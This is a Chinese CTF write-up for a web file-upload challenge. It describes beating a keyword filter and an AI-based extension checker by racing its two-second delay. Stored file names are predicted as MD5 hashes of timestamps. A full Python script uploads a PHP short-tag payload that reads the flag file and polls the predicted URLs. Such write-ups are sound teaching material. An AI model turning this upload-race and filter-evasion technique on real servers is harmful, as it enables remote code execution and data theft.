闽盾杯 web heiupload 一个文件上传题,有关键词检测和ai检测(检测危险后缀名进行删除) 尝试上传后发现除了图片后缀名之外大部分都会被ai删除,不过在网络抓包注意到ai检测大概有2秒左右的延时,判断可能需要利用条件竞争 但是上传成功的文件会被更改为md5+后缀名,所以想条件竞争必须获取md5的参数或者能够进行目录穿越 这里注意到返回值中有时间参数,尝试对时间进行md5加密,发现刚好就是文件名 而这个时间是渐渐增加的,所以可以利用返回值中的时间参数往后推一点点值,利用这个时间提前计算md5值进行条件竞争 这里用bp并行爆破,一个上传不包含会被检测为危险代码的.php文件,另一个利用提前计算好的md5值进行读取文件(当然写个脚本更好) 然后就是然后上传什么代码了,这里常见的eval,php等危险关键词都被直接过滤,利用短标签绕过php,然后利用file_get_contents读取flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 import requests import time import threading import hashlib from datetime import datetime, timedelta # 上传接口及请求头 UPLOAD_URL = "http://119.233.150.205:57965/upload.php" UPLOAD_HEADERS = { "User-Agent": "Mozilla/5.0", "Content-Type": "multipart/form-data; boundary=----abcdefghijklmnop" } # 上传 payload PAYLOAD = "<?= print_r(file('/flag.txt'));" def upload(filename: str): """ 上传文件到指定 URL """ data = ( f"------abcdefghijklmnop\r\n" f"Content-Disposition: form-data; name=\"file\"; filename=\"{filename}\"\r\n" f"Content-Type: image/png\r\n\r\n" f"{PAYLOAD}\r\n" f"------abcdefghijklmnop--\r\n" ) return requests.post(UPLOAD_URL, headers=UPLOAD_HEADERS, data=data) def check_file(filename: str): """ 检查上传的文件是否可以访问 """ url = f"http://119.233.150.205:57965/uploads/{filename}" try: res = requests.get(url) if res.status_code == 200: print(res.text) return True except requests.RequestException: pass return False def generate_md5_filenames(): """ 生成时间戳 ±2 秒的 MD5 文件名列表 """ filenames = [] now = datetime.utcnow() for offset in [0, -1, 1, -2, 2]: ts = (now + timedelta(seconds=offset)).strftime("%Y%m%d%H%M%S") filenames.append(hashlib.md5(ts.encode()).hexdigest() + ".php") return filenames def monitor_files(filenames, stop_event): """ 并发监控文件是否可访问 """ for _ in range(50): if stop_event.is_set(): return for f in filenames: if stop_event.is_set(): return if check_file(f): stop_event.set() return time.sleep(0.01) def main(): # 上传一个固定文件 upload("1.jpg") # 生成 MD5 时间戳文件名 filenames = generate_md5_filenames() stop_event = threading.Event() # 并发监控文件 threads = [threading.Thread(target=monitor_files, args=(filenames, stop_event)) for _ in range(5)] for th in threads: th.start() time.sleep(0.05) # 上传带特殊扩展名的文件 upload("1.pHp") stop_event.set() # 停止监控 for th in threads: th.join() if __name__ == "__main__": main()